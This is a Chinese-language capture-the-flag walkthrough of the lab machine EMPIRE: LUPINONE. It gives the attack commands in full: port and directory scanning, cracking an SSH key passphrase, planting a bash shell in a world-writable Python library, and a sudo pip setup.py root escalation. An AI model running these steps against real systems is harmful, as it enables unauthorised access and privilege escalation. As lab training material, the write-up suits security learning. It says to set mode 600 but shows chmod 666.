EMPIRE: LUPINONE靶机渗透过程
准备环境
攻击机:WSL-Kali-Linux
目标靶机:EMPIRE: LUPINONE
平台:VMware Workstation 16.2
靶机为NAT
模式
一、信息搜集
1.主机嗅探
靶机启动完成已显示其IP
地址
IP
:192.168.9.133
2.端口扫描
一把梭
nmap -A -p- 192.168.9.133
靶机开放端口情况如下:
端口 | 服务 |
---|---|
22 | OpenSSH服务 |
80 | Web |
3.目录扫描
先访问其网页
发现就只有一张图片,无可用信息,在kali
里面进行目录扫描
dirsearch -u 192.168.9.133
发现目录下有robots.txt
文件,对其进行访问
有个名为~myfiles
的文件,访问试试看
发现是个404
页面,但是有句注释是Your can do it, keep trying.
应该是在暗示该网站还存在其他的类似于~myfiles
的文件,使用wfuzz
进行目录模糊扫描
wfuzz -c -u '192.168.9.133/~FUZZ' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt --hc 404
通过模糊搜索,发现目录下还存在一个名为~secret
的文件,查看该文件
文中提示有ssh
私钥文件藏在这里,还有一个用户名icex64
使用ffuf
工具扫描
ffuf -u "http://192.168.9.133/~secret/.FUZZ" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e .pub,.txt,.html -mc 200
发现在~secret
目录下存在.mysecret.txt
文件,查看该文件
通过尝试,发现这是base58
编码,解码一下
解码后是私钥文件
二、漏洞利用
1.SSH登录
将解密之后的私钥写入文件,并赋权600
给该文件
chmod 666 private
/usr/share/john/ssh2john.py private > q.txt
使用ssh2john.py
生成密码
john --wordlist=/usr/share/wordlists/fasttrack.txt q.txt
爆破出密码为P@55w0rd!
可结合刚才的用户名icex64
进行ssh
登录
成功登录icex64
用户,并且发现用户icex64
能免密执行python3.9
和位于arsene
家目录下的heist.py
文件
2.代码审计
查看arsene
家目录
ls /home/arsene -lha
有个heist.py
和note.txt
查看heist.py
和note.txt
的内容
heist.py
中引用了webbrowser
库,note.txt
中大概讲解arsene
想请icex64
帮忙检查一下heist.py
中的代码是否安全
查找webbrowser
库的所在路径
find /usr/ -name webbrowser.py
位于/usr/lib/python3.9/
路径下,查看webbrowser.py
的权限
ls /usr/lib/python3.9/webbrowser.py -l
皆大欢喜,777
权限,可以在里面写入shell
nano /usr/lib/python3.9/webbrowser.py
写入os.system("/bin/bash")
3.用户渗透
以arsene
用户的身份运行heist.py
sudo -u arsene python3.9 /home/arsene/heist.py
成功拿到arsene
用户,查看其权限
sudo -l
4.提权
能以root
权限执行pip
,可以进行pip提权
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
回到root
家目录并查看文件列表
cd ~
ls -lha
发现有个root.txt
文件,查看该文件